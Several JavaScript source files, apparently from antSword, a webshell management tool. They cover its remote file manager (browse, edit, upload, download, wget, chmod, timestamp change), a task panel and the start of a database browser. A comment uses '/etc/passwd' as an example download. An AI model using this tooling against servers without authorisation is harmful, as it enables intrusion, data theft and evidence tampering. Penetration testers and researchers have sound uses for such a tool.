_result = parseItem(obj[_], _path); if (_result) { _obj['item'] = _result; }; if (_path === self.manager.path) { _obj['open'] = 1; _obj['select'] = 1; }; _arr.push(_obj); } return _arr; } let items = parseItem(vscache, ''); this .tree .parse({ id: 0, item: items }, 'json'); this .cell .progressOff(); } /** * * @param {Number} num */ setTitle(num) { this .cell .setText(`<i class="fa fa-folder-o"></i> ${LANG['title']} (${num})`); } } // export default Folder; module.exports = Folder; ```
/content/code_sandbox/source/modules/filemanager/folder.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
778
```javascript /** * * 2016/05/14 * <path_to_url */ 'use strict'; const Files = require('./files'); const Tasks = require('./tasks'); const Folder = require('./folder'); const ENCODES = require('../../base/encodes'); const fs = require('fs'); const iconv = require('iconv-lite'); const crypto = require('crypto'); const mime = require("mime"); const PATH = require("path"); const dialog = antSword.remote.dialog; // const LANG = antSword['language']['filemanager']; const LANG_T = antSword['language']['toastr']; class FileManager { constructor(opts) { const tabbar = antSword['tabbar']; const hash = String(Math.random()).substr(2, 10); tabbar.addTab( `tab_filemanager_${hash}`, `<i class="fa fa-folder-o"></i> ${opts['ip']}`, null, null, true, true ); // const cell = tabbar.cells(`tab_filemanager_${hash}`); // antSword['modules']['filemanager'] = antSword['modules']['filemanager'] || {}; antSword['modules']['filemanager'][hash] = this; let config = { openfileintab: false, bookmarks: {}, }; this.config = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(config))); this.isWin = true; this.path = '/'; this.home = '/'; this.devices = []; // this.cache = {}; this.cell = cell; this.opts = opts; this.cache = new antSword['CacheManager'](opts['_id']); this.core = new antSword['core'][opts['type']](opts); this.win = new dhtmlXWindows(); this.win.attachViewportTo(this.cell.cell); // const cache_info = this.cache.get('info'); if (cache_info) { this.initUI(cache_info); } else { this.cell.progressOn(); this.core.request( this.core.base.info() ).then((ret) => { this.initUI(ret['text']); this.cell.progressOff(); }).catch((err) => { this.cell.progressOff(); this.cell.close(); toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); }); // this.core.base.info((ret) => { // this.initUI(ret); // this.cell.progressOff(); // }, (err) => { // this.cell.progressOff(); // this.cell.close(); // toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); // }); } } // UI initUI(ret) { // let info = ret.split('\t'); if (!info.length >= 2) { toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']); this.cache.del('info'); return this.cell.close(); }; let info_path = info[0].replace(/\\/g, '/').replace(/\.$/, ''); let info_drive = info[1]; // linux if (info_path.substr(0, 1) === '/') { this.isWin = false; } else { // windows info_path = `${info_path.substr(0, 1).toUpperCase()}${info_path.substr(1)}`; info_drive = info_drive.toUpperCase(); }; this.path = info_path; this.home = info_path; info_drive.split(':').map((_) => { if (!_) { return }; this.devices.push(_ === '/' ? _ : _ + ':/'); }); // const layout = this.cell.attachLayout('3L'); this.folder = new Folder(layout.cells('a'), this); this.files = new Files(layout.cells('b'), this); this.tasks = new Tasks(layout.cells('c'), this); this.folder.cell.progressOn(); this.files.cell.progressOn(); this.getFiles(this.path, (files) => { this.folder.parse(files); this.files.parse(files); }); } // // storage('save_key').get('{}') // storage('save_key').set('{a:123}') storage(key) { let md5 = crypto.createHash('md5'); md5.update(this.opts['url']); const k = `${md5.digest('hex').substr(0, 11)}_${key}` return { get: (def) => localStorage.getItem(k) || def, set: (val) => localStorage.setItem(k, val) } } // getFiles(p, callback) { let self = this; if (self.isWin) { // f:\ p = p.replace(/\\/g, '/'); p = p.substr(1, 2) == ":/" ? `${p.substr(0, 1).toUpperCase()}${p.substr(1)}` : p; } let path = this.changePath(p); if (self.isWin) { // f: path = path.substr(1, 2) == ":/" ? `${path.substr(0, 1).toUpperCase()}${path.substr(1)}` : path; } let cache; if (!path.endsWith('/')) { path += '/' }; this.path = path; let cache_tag = 'filemanager-files-' + Buffer.from(this.path).toString('base64'); // // if (cache = this.cache[path]) { // return callback(cache); // }; if ((this.opts.otherConf || {})['filemanager-cache'] !== 0 && (cache = this.cache.get(cache_tag))) { return callback(JSON.parse(cache)); }; this.core.request( this.core.filemanager.dir({ path: path }) ).then((res) => { let ret = antSword.unxss(res['text']); // if (ret.startsWith('ERROR://')) { callback([]); return toastr.error(ret.substr(9), LANG_T['error']); }; let tmp = ret.split('\n'); tmp.sort(); let folders = []; let files = []; tmp.map((t) => { let _ = t.split('\t'); let d = { name: _[0], time: _[1], size: _[2], attr: _[3] } if (_[0].endsWith('/')) { folders.push(d); } else { files.push(d); } }); let data = folders.concat(files); callback(data); // // self.cache[path] = data; this.cache.set(cache_tag, JSON.stringify(data)); }).catch((err) => { toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']); this.folder.cell.progressOff(); this.files.cell.progressOff(); }) // this.core.filemanager.dir({ // path: path // }, (ret) => { // // // if (ret.startsWith('ERROR://')) { // callback([]); // return toastr.error(ret.substr(9), LANG_T['error']); // }; // let tmp = ret.split('\n'); // // tmp.sort(); // // let folders = []; // let files = []; // // tmp.map( (t) => { // let _ = t.split('\t'); // let d = { // name: _[0], // time: _[1], // size: _[2], // attr: _[3] // } // if (_[0].endsWith('/')) { // folders.push(d); // }else{ // files.push(d); // } // } ); // // let data = folders.concat(files); // callback(data); // // // // // self.cache[path] = data; // this.cache.set(cache_tag, JSON.stringify(data)); // }, (err) => { // toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']); // }); } // changePath(path) { if (!this.path.endsWith('/')) { this.path += '/'; }; if (!path.endsWith('/')) { path += '/'; }; // if (path === './') { return this.path; // } else if (path === '../') { let _ = this.path.split('/'); if (_.length === 2) { return _.join('/'); } else if (_.length > 2) { _.pop(); _.pop(); _.length === 1 ? _.push('') : 0; return _.join('/'); } else { return this.path; } // } else if (path.startsWith('/') || path.substr(1, 2) === ':/') { return path; // } else { return this.path + path; } } // / deleteFile(files) { let self = this; layer.confirm( LANG['delete']['confirm'](files.length > 1 ? files.length : files[0]), // lang { icon: 2, shift: 6, //skin: 'layui-layer-molv', title: `<i class="fa fa-trash"></i> ${LANG['delete']['title']}`, }, (_) => { layer.close(_); files.map((p) => { ((p) => { const path = this.path + p; this.files.cell.progressOn(); this.core.request( this.core.filemanager.delete({ path: path }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { toastr.success(LANG['delete']['success'](path), LANG_T['success']); this.files.refreshPath(); } else { toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { this.files.cell.progressOff(); toastr.error(LANG['delete']['error'](path, err), LANG_T['error']); }); // this.core.filemanager.delete({ // path: path // }, (ret) => { // this.files.cell.progressOff(); // if (ret === '1') { // toastr.success(LANG['delete']['success'](path), LANG_T['success']); // this.files.refreshPath(); // }else{ // toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']); // } // }, (err) => { // this.files.cell.progressOff(); // toastr.error(LANG['delete']['error'](path, err), LANG_T['error']); // }) })(p); }); } ) } // / // source: / // name: / pasteFile(source, name) { const target = this.path + name; this.files.cell.progressOn(); this.core.request( this.core.filemanager.copy({ path: source, target: target }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { // this.files.refreshPath(); // delete this.files.Clipboard[name]; toastr.success(LANG['paste']['success'](name), LANG_T['success']); } else { toastr.error(LANG['paste']['error'](name, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['paste']['error'](name, err), LANG_T['error']); }); } // renameFile(name) { const isDir = name.endsWith('/'); layer.prompt({ value: antSword.noxss(name.replace(/\/$/, '')), title: `<i class="fa fa-fa fa-font"></i> ${LANG['rename']['title']} (${antSword.noxss(name)})` }, (value, index, elem) => { this.files.cell.progressOn(); this.core.request( this.core.filemanager.rename({ path: this.path + name, name: this.path + value + ((isDir && !value.endsWith('/')) ? '/' : '') }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); toastr.success(LANG['rename']['success'], LANG_T['success']); } else { toastr.error(LANG['rename']['error'](ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['rename']['error'](err), LANG_T['error']); }); layer.close(index); }); } // createFolder() { layer.prompt({ value: LANG['createFolder']['value'], title: `<i class="fa fa-folder"></i> ${LANG['createFolder']['title']}` }, (value, i, e) => { this.files.cell.progressOn(); this.core.request( this.core.filemanager.mkdir({ path: this.path + value }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); toastr.success(LANG['createFolder']['success'](value), LANG_T['success']); } else { toastr.error(LANG['createFolder']['error'](value, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['createFolder']['error'](value, err), LANG_T['error']); }); layer.close(i); }); } // createFile() { layer.prompt({ value: LANG['createFile']['value'], title: `<i class="fa fa-file"></i> ${LANG['createFile']['title']}` }, (value, i, e) => { this.files.cell.progressOn(); // http this.core.request( this.core.filemanager.create_file({ path: this.path + value, content: '#Halo AntSword!' }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); toastr.success(LANG['createFile']['success'](value), LANG_T['success']); } else { toastr.error(LANG['createFile']['error'](value, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['createFile']['error'](value, err), LANG_T['error']); }); layer.close(i); }) } // / retimeFile(name, oldtime) { layer.prompt({ value: oldtime, title: `<i class="fa fa-clock-o"></i> ${LANG['retime']['title']} (${antSword.noxss(name)})`, content: `<input type="text" class="layui-layer-input" onClick="laydate({istime: true, format: 'YYYY-MM-DD hh:mm:ss'});" value="${oldtime}">` }, (value, i, e) => { this.files.cell.progressOn(); let path = this.path; if (this.isWin) { path = path.replace(/\//g, '\\') } // http request this.core.request( this.core.filemanager.retime({ // path: this.path + name, path: path + name, time: value }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); toastr.success(LANG['retime']['success'](name), LANG_T['success']); } else { toastr.error(LANG['retime']['error'](name, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['retime']['error'](name, err), LANG_T['error']); }); layer.close(i); }) } // chmodFile(name, oldmod) { layer.prompt({ value: antSword.noxss(oldmod), title: `<i class="fa fa-users"></i> ${LANG['chmod']['title']} (${antSword.noxss(name)})`, }, (value, i, e) => { if (this.core.constructor.name == "PSWINDOWS" && !value.match(/^(-|d)(-|a)(-|r)(-|h)(-|s)$/)) { toastr.error("PS FileMode Pattern Error, eg: -arh-", LANG_T['error']); return } else if (this.core.constructor.name != "PSWINDOWS" && !value.match(/^[0-7]{4}$/)) { toastr.error(LANG['chmod']['check'], LANG_T['error']); return } this.files.cell.progressOn(); let path = this.path; if (this.isWin) { path = path.replace(/\//g, '\\') } // http request this.core.request( this.core.filemanager.chmod({ path: path + name, mode: value }) ).then((res) => { let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); toastr.success(LANG['chmod']['success'](name), LANG_T['success']); } else { toastr.error(LANG['chmod']['error'](name, ret === '0' ? false : ret), LANG_T['error']); } }).catch((err) => { toastr.error(LANG['chmod']['error'](name, err), LANG_T['error']); }); layer.close(i); }); } // () previewFile(name, size) { let that = this; const remote_path = this.path + name; const win = that.createWin({ title: 'Loading File: ' + antSword.noxss(remote_path), width: 800, height: 600, }); var filemime = mime.getType(name); let savepath = PATH.join(process.env.AS_WORKDIR, `antData/.temp/`, Buffer.from(name).toString("hex")); win.cell.lastChild['style']['overflow'] = 'scroll'; win.cell.lastChild['style']['textAlign'] = 'center'; let down_size = 0; this.core.download( savepath, this.core.filemanager.download_file({ path: remote_path }), (_size) => { down_size += _size; let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100); if (!(down_progress % 5)) { win.setText(`Preview File: ${antSword.noxss(remote_path)} ${down_progress}%`); }; } ).then((_size) => { if (_size === size) { win.setText(`Preview File: ${antSword.noxss(remote_path)}`); let buff = fs.readFileSync(savepath); switch (filemime) { default: let data = Buffer.from(buff).toString('base64'); win.attachHTMLString(`<img style="width:100%" src="data:/${filemime};base64,${data}"/>`); break; } fs.unlink(savepath); } else { fs.unlink(savepath); throw Error(`Load Error: downsize ${_size} != ${size}`); } }).catch((err) => { }); } // downloadFile(name, size) { const path = this.path + name; const task = this.tasks.new(LANG['download']['task']['name'], path, LANG['download']['task']['wait']); // dialog.showSaveDialog({ title: LANG['download']['title'], defaultPath: name }, (filePath) => { if (!filePath) { return task.end(LANG['download']['task']['cancel']) }; task.update(LANG['download']['task']['start']); let down_size = 0; // if (fs.existsSync(filePath)) { fs.unlinkSync(filePath); } this.core.download( filePath, this.core.filemanager.download_file({ path: path }), (_size) => { // down_size += _size; let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100); if (!(down_progress % 5)) { task.update(down_progress + '%'); }; } ).then((_size) => { if (_size === size) { task.success(LANG['download']['task']['success']); toastr.success(LANG['download']['success'](name), LANG_T['success']); // }else if (_size === 21) { // task.failed('len=' + _size); } else { throw Error(`SizeErr: ${_size} != ${size}`); // task.failed(LANG['download']['task']['error']()) } }).catch((err) => { task.failed(LANG['download']['task']['error'](err)); toastr.error(LANG['download']['error'](name, err), LANG_T['error']); }); }); } // // [{name:"123.txt", size: 1234}] downloadFileMulti(names = []) { let self = this; let selectPaths = dialog.showOpenDialog({ title: LANG['download']['title'], properties: ['openDirectory'], }); let savePath = null; if (selectPaths && selectPaths.length === 1) { savePath = selectPaths[0]; } if (!savePath) { return; } names.forEach((item) => { const path = self.path + item.name; const task = self .tasks .new(LANG['download']['task']['name'], path, LANG['download']['task']['wait']); task.update(LANG['download']['task']['start']); let down_size = 0; let filePath = PATH.join(savePath, item.name); // if (fs.existsSync(filePath)) { fs.unlinkSync(filePath); } self.core.download(filePath, self.core.filemanager.download_file({ path: path }), (_size) => { // down_size += _size; let down_progress = parseInt(parseFloat(down_size / item.size).toFixed(2) * 100); if (!(down_progress % 5)) { task.update(down_progress + '%'); }; }) .then((_size) => { if (_size === item.size) { task.success(LANG['download']['task']['success']); toastr.success(LANG['download']['success'](name), LANG_T['success']); // }else if (_size === 21) { task.failed('len=' + _size); } else { throw Error(`SizeErr: ${_size} != ${item.size}`); // task.failed(LANG['download']['task']['error']()) } }) .catch((err) => { task.failed(LANG['download']['task']['error'](err)); toastr.error(LANG['download']['error'](name, err), LANG_T['error']); }); }); } // wget wgetFile() { let self = this; let hash = +new Date(); // URL let _index = layer.prompt({ title: `<i class="fa fa-cloud-download"></i> ${LANG['wget']['title']}`, content: '<input type="text" style="width:300px;" class="layui-layer-input" id="url_' + hash + '" value="http://" placeholder="target url"><p/><input style="width:300px;" type="text" id="path_' + hash + '" class="layui-layer-input" value="' + antSword.noxss(self.path) + '" placeholder="file name">', btn: ['wget'], yes: (i) => { let _url = $(`#url_${hash}`); let _path = $(`#path_${hash}`); let url = _url.val(); let path = _path.val(); if (url.split('/').length < 4) { _url.focus(); return toastr.warning(LANG['wget']['check'], LANG_T['warning']); }; if (path.length < 1) { return _path.focus(); }; const task = this.tasks.new(LANG['wget']['task']['name'], `${url} -> ${path}`); task.update(LANG['wget']['task']['start']); // http request this.core.request( this.core.filemanager.wget({ url: url, path: path }) ).then((res) => { let ret = res['text']; // if (ret === '1') { task.success(LANG['wget']['task']['success']); let _ = path.substr(0, path.lastIndexOf('/') + 1); this.files.refreshPath((_ === self.path) ? false : _); } else { task.failed(LANG['wget']['task']['failed'](ret)); } }).catch((err) => { task.failed(LANG['wget']['task']['error'](err)); }); layer.close(i); } }); $(`#layui-layer${_index}`).css('width', '400px'); } /** * * @param {Array} _filePaths * @return {None} [description] */ uploadFile(_filePaths) { // let tasks = {}; // let path = this.path; new Promise((res, rej) => { // if (Array.isArray(_filePaths) && _filePaths.length > 0) { return res(_filePaths); } dialog.showOpenDialog({ properties: ['openFile', 'multiSelections'] }, (_filePaths) => { if (!_filePaths) { return }; return res(_filePaths); }) }).then((filePaths) => { // filePaths.map((f) => { const fileName = f.substr(f.lastIndexOf(PATH.sep) + 1); tasks[f] = this.tasks.new(LANG['upload']['task']['name'], `${fileName} => ${path}`, 'Waiting for uploading..'); }); return filePaths; }).then((filePaths) => { // const upload = () => { new Promise((res, rej) => { // let filePath = filePaths.shift(); if (filePath) { res(filePath); } }).then((filePath) => { // let buffIndex = 0; let buff = []; // 0.5M(jsp 1M) let dataSplit = 500 * 1024; if (parseInt((this.opts.otherConf || {})['upload-fragment']) > 0) { dataSplit = parseInt((this.opts.otherConf || {})['upload-fragment']) * 1024; } let task = tasks[filePath]; // let fileName = filePath.substr(filePath.lastIndexOf(PATH.sep) + 1); // buff let fileBuff; try { fileBuff = fs.readFileSync(filePath); } catch (e) { return task.failed(e); } // let buffLength = fileBuff.length; while (buffIndex <= buffLength) { let buffSplit = fileBuff.slice(buffIndex, buffIndex + dataSplit); buffIndex += dataSplit; buff.push(buffSplit); } // const uploadBuffFunc = (_buff) => { new Promise((res, rej) => { let _b = _buff.shift(); if (_b) { res(_b); } else { // task.success(LANG['upload']['task']['success']); toastr.success(LANG['upload']['success'](fileName), LANG_T['success']); // this.files.refreshPath(path === this.path ? '' : path); // return upload(); } }).then((b) => { // task.update(`${parseInt((buffLength - (b.length * _buff.length)) / buffLength * 100)}%`); this.core.request( this.core.filemanager.upload_file({ path: path + fileName, content: b }) ).then((res) => { let ret = res['text']; if (ret === '1') { return uploadBuffFunc(_buff); } task.failed(LANG['upload']['task']['failed'](ret)); toastr.error(LANG['upload']['error']( fileName, ret === '0' ? '' : `<br/>${ret}` ), LANG_T['error']); }).catch((err) => { // let errmsg = err; if (err.hasOwnProperty('status') && err.hasOwnProperty('response')) { errmsg = `${err.status} ${err.response.res.statusMessage}`; switch (err.status) { case 413: errmsg += `${LANG['upload']['task']['httperr_413']}`; break; default: break; } } else if (err.hasOwnProperty('errno')) { switch (err.errno) { case 'ETIME': errmsg = `${LANG['upload']['task']['httperr_etime']}`; break; case 'ECONNREFUSED': errmsg = `${LANG['upload']['task']['httperr_econnrefused']}`; break; default: errmsg = `${err.errno} ${err.code}`; break; } } task.failed(LANG['upload']['task']['error'](errmsg)); toastr.error(LANG['upload']['error'](fileName, errmsg), LANG_T['error']); }); }) } uploadBuffFunc(buff); }); }; upload(); }); } // editFile(name, openfileintab = false) { let self = this; let path = this.path + name; let editor = null; let codes = ''; let win; let hinttext = ''; let tooltip = `IP:${this.opts['ip']} File:`; if (openfileintab == false) { win = this.createWin({ title: LANG['editor']['title'](antSword.noxss(path)), width: 800 }); win.maximize(); } else { let _id = String(Math.random()).substr(5, 10); antSword['tabbar'].addTab( `tab_file_${_id}`, `<i class="fa fa-file-o"></i> ${antSword.noxss(name)}`, null, null, true, true ); win = antSword['tabbar'].cells(`tab_file_${_id}`); let hitpath = path; if (path.length > 100) { let tmpbuf = Buffer.alloc(100, '.'); tmpbuf.write(this.path, 0, 100 - name.length - 4); tmpbuf.write('/', 100 - name.length - 1); tmpbuf.write(name, 100 - name.length); hitpath = tmpbuf.toString(); } hinttext = `IP:${this.opts['ip']} File:`; } win.progressOn(); // let ext = name.substr(name.lastIndexOf('.') + 1); let ext_dict = { 'php': 'php', 'c': 'c_cpp', 'cpp': 'c_cpp', 'h': 'c_cpp', 'coffee': 'coffee', 'cfm': 'coldfusion', 'css': 'css', 'go': 'golang', 'html': 'html', 'ini': 'ini', 'conf': 'ini', 'jade': 'jade', 'java': 'java', 'js': 'javascript', 'json': 'json', 'jsp': 'jsp', 'jsx': 'jsx', 'less': 'less', 'lua': 'lua', 'md': 'markdown', 'sql': 'sql', 'pl': 'perl', 'py': 'python', 'rb': 'ruby', 'sh': 'sh', 'txt': 'text', 'xml': 'xml' } if (!(ext in ext_dict)) { ext = 'txt' }; // let toolbar = win.attachToolbar(); let _options = []; for (let _ in ext_dict) { let _ext = ext_dict[_]; let _opt = { id: `mode_${_ext}`, text: `${_ext} (.${_})`, icon: 'code', type: 'button' }; (_ === ext) ? _opt['selected'] = true: 0; _options.push(_opt); } toolbar.loadStruct([{ id: 'hinttext', type: 'text', text: hinttext }, { id: 'filepath', type: 'buttonInput', width: 500, value: antSword.noxss(path), }, { type: 'separator' }, { type: 'spacer' }, { id: 'refresh', type: 'button', icon: 'refresh', text: LANG['editor']['toolbar']['refresh'] }, { id: 'save', type: 'button', icon: 'save', text: LANG['editor']['toolbar']['save'] }, { type: 'separator' }, { id: 'encode', type: 'buttonSelect', icon: 'language', openAll: true, text: LANG['editor']['toolbar']['encode'], options: (() => { let ret = []; ENCODES.map((_) => { let _opt_ = { id: `encode_${_}`, text: _, icon: 'font', type: 'button' }; (_ === self.opts['encode'] ? _opt_['selected'] = true : 0); ret.push(_opt_); }); return ret; })() }, { id: 'mode', type: 'buttonSelect', icon: 'th-list', openAll: true, text: LANG['editor']['toolbar']['mode'], options: _options }, ]); toolbar.setItemToolTip('hinttext', tooltip); toolbar.attachEvent('onClick', (id) => { if (id === 'save') { // win.progressOn(); self.core.request( self.core.filemanager.create_file({ path: path, content: editor.session.getValue() || '#Halo AntSword!' }) ).then((res) => { let ret = res['text']; win.progressOff(); if (ret === '1') { toastr.success(LANG['editor']['success'](path), LANG_T['success']); // self.files.refreshPath(); } else { toastr.error(LANG['editor']['error'](path, ret === '0' ? '' : '<br/>' + ret), LANG_T['error']); } }).catch((err) => { }); } else if (id.startsWith('mode_')) { let mode = id.split('_')[1]; editor.session.setMode(`ace/mode/${mode}`); } else if (id.startsWith('encode_')) { let encode = id.split('_')[1]; editor.session.setValue(iconv.decode(Buffer.from(codes), encode).toString()); } else if (id === 'refresh') { // win.progressOn() this.core.request( this.core.filemanager.read_file({ path: path }) ).then((res) => { win.progressOff(); name = path.substr(path.lastIndexOf('/') + 1); if (openfileintab == false) { win.setText(LANG['editor']['title'](antSword.noxss(path))); } else { win.setText(`<i class="fa fa-file-o"></i> ${antSword.noxss(name)}`); } ext = name.substr(name.lastIndexOf('.') + 1); if (!(ext in ext_dict)) { ext = 'txt' }; toolbar.callEvent('onClick', [`mode_${ext_dict[ext]}`]); let ret = antSword.unxss(res['text'], false); codes = Buffer.from(antSword.unxss(res['buff'].toString(), false)); let encoding = res['encoding'] || this.opts['encode']; if (encoding.toUpperCase() == "UTF-8") { encoding = "UTF8"; } toolbar.setListOptionSelected('encode', `encode_${encoding}`); editor.session.setValue(ret); }).catch((err) => { toastr.error(LANG['editor']['loadErr'](err), LANG_T['error']); win.progressOff() }) } else { console.info('toolbar.onClick', id); } }); toolbar.attachEvent('onEnter', (id, value) => { switch (id) { case 'filepath': path = toolbar.getInput('filepath').value; toolbar.callEvent('onClick', ['refresh']); break; } }); // this.core.request( this.core.filemanager.read_file({ path: path }) ).then((res) => { let ret = antSword.unxss(res['text'], false); codes = Buffer.from(antSword.unxss(res['buff'].toString(), false)); let encoding = res['encoding'] || this.opts['encode']; if (encoding.toUpperCase() == "UTF-8") { encoding = "UTF8"; } toolbar.setListOptionSelected('encode', `encode_${encoding}`); win.progressOff(); // editor = ace.edit(win.cell.lastChild); editor.$blockScrolling = Infinity; editor.setTheme('ace/theme/tomorrow'); editor.session.setMode(`ace/mode/${ext_dict[ext]}`); editor.session.setUseWrapMode(true); editor.session.setWrapLimitRange(null, null); editor.setOptions({ fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true }); // editor.commands.addCommand({ name: 'save', bindKey: { win: 'Ctrl-S', mac: 'Command-S' }, exec: () => { toolbar.callEvent('onClick', ['save']); } }); editor.session.setValue(ret); // const inter = setInterval(editor.resize.bind(editor), 200); win.attachEvent('onClose', () => { clearInterval(inter); return true; }); }).catch((err) => { toastr.error(LANG['editor']['loadErr'](err), LANG_T['error']); win.close(); }); } // hash fileHash(name) { let self = this; const remote_path = this.path + name; const win = self.createWin({ title: 'FileHash: ' + antSword.noxss(remote_path), width: 350, height: 200, }); let grid = win.attachGrid(); grid.clearAll(); grid.setHeader(`Algorithm,Hash`); grid.setColTypes("ro,txt"); grid.setColSorting('str,str'); grid.setColumnMinWidth(50, 200); grid.setInitWidths("80,*"); grid.setColAlign("center,left"); grid.setEditable(true); grid.init(); win.progressOn(); self.core.request( this.core.filemanager.filehash({ path: remote_path, }) ).then((ret) => { if (ret['text'].indexOf("ERROR://") > -1) { throw ret["text"]; } let _data = ret['text'].split('\n'); let data_arr = []; for (let i = 0; i < _data.length; i++) { let item = _data[i].split('\t'); if (item.length < 2) { continue } data_arr.push({ id: i + 1, data: [ antSword.noxss(item[0]), antSword.noxss(item[1]), ], }); } grid.parse({ 'rows': data_arr, }, 'json'); toastr.success(LANG_T['success'], LANG_T['success']); win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); } // createWin(opts) { let _id = String(Math.random()).substr(5, 10); // let opt = $.extend({ title: 'Window:' + _id, width: 660, height: 550 }, opts); // let _win = this.win.createWindow(_id, 0, 0, opt['width'], opt['height']); _win.setText(opt['title']); _win.centerOnScreen(); _win.button('minmax').show(); _win.button('minmax').enable(); // return _win; } } // export default FileManager; module.exports = FileManager; ```
/content/code_sandbox/source/modules/filemanager/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
9,111
```javascript // // // /* const task = new Task('download', 'path_to_url => /tmp/'); task.update('start download..'); task.update('100%'); task.end('download success!'); */ const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['filemanager']['tasks']; class Tasks { constructor(cell, manager) { cell.setText(`<i class="fa fa-tasks"></i> ${LANG['title']}`); cell.setHeight(250); // panel cell.collapse(); // let grid = cell.attachGrid(); grid.setHeader(` ${LANG['grid']['header']['name']}, ${LANG['grid']['header']['desc']}, ${LANG['grid']['header']['status']}, ${LANG['grid']['header']['stime']}, ${LANG['grid']['header']['etime']} `); grid.setColTypes("ro,ro,ro,ro,ro"); grid.setInitWidths("100,*,150,150,150"); grid.setColAlign("left,left,left,left,left"); grid.init(); this.grid = grid; this.cell = cell; this.manager = manager; } // const task = tasks.new('download', '/etc/passwd', '0%'); task.update('20%'); // task.end('100%'); new(name, desc, progress) { // panel this .cell .expand(); // ID const hash = String(+new Date() + Math.random()).replace('.', '_'); this .grid .addRow(hash, [ antSword.noxss(name), antSword.noxss(desc), `<div id="filemanager_progress_${hash}">-</div>`, new Date().format('yyyy-MM-dd hh:mm:ss'), `<div id="filemanager_end_time_${hash}">-</div>` ], 0); const API = { // update: (progress) => { $(`#filemanager_progress_${hash}`).text(progress); }, // end: (progress) => { $(`#filemanager_progress_${hash}`).text(progress || '100%'); $(`#filemanager_end_time_${hash}`).text(new Date().format('yyyy-MM-dd hh:mm:ss')); }, // success: (progress) => { API['end'](progress); $(`#filemanager_progress_${hash}`).css('color', 'green'); }, // failed: (progress) => { API['end'](progress); $(`#filemanager_progress_${hash}`).css('color', 'red'); } }; return API; } } // export default Tasks; module.exports = Tasks; ```
/content/code_sandbox/source/modules/filemanager/tasks.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
593
```javascript // // ::PHP // :mysql,mssql,oracle,informix // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); const Decodes = antSword.Decodes; const xml2js = require('xml2js'); class CMDLINUX { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // 1. TREE UI this.tree = this.manager.list.layout.attachTree(); // 2. this.parse(); // 3. tree::&& this.tree.attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); }else{ this.disableEditor(); } }); // 4. tree::// this.tree.attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch(arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables( _db[0], Buffer.from(_db[1], 'base64').toString() ); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns( _tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString() ); break; // SQL case 'column': let _co = arr[1].split(':'); const db = new Buffer.from(_co[1], 'base64').toString(); const table = new Buffer.from(_co[2], 'base64').toString(); const column = new Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch(this.dbconf['type']){ case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(sql); break; } }); // 5. tree:: this.tree.attachEvent('onRightClick', (id, event) => { this.tree.selectItem(id); const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch(arr[0]) { case 'conn': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, { text: 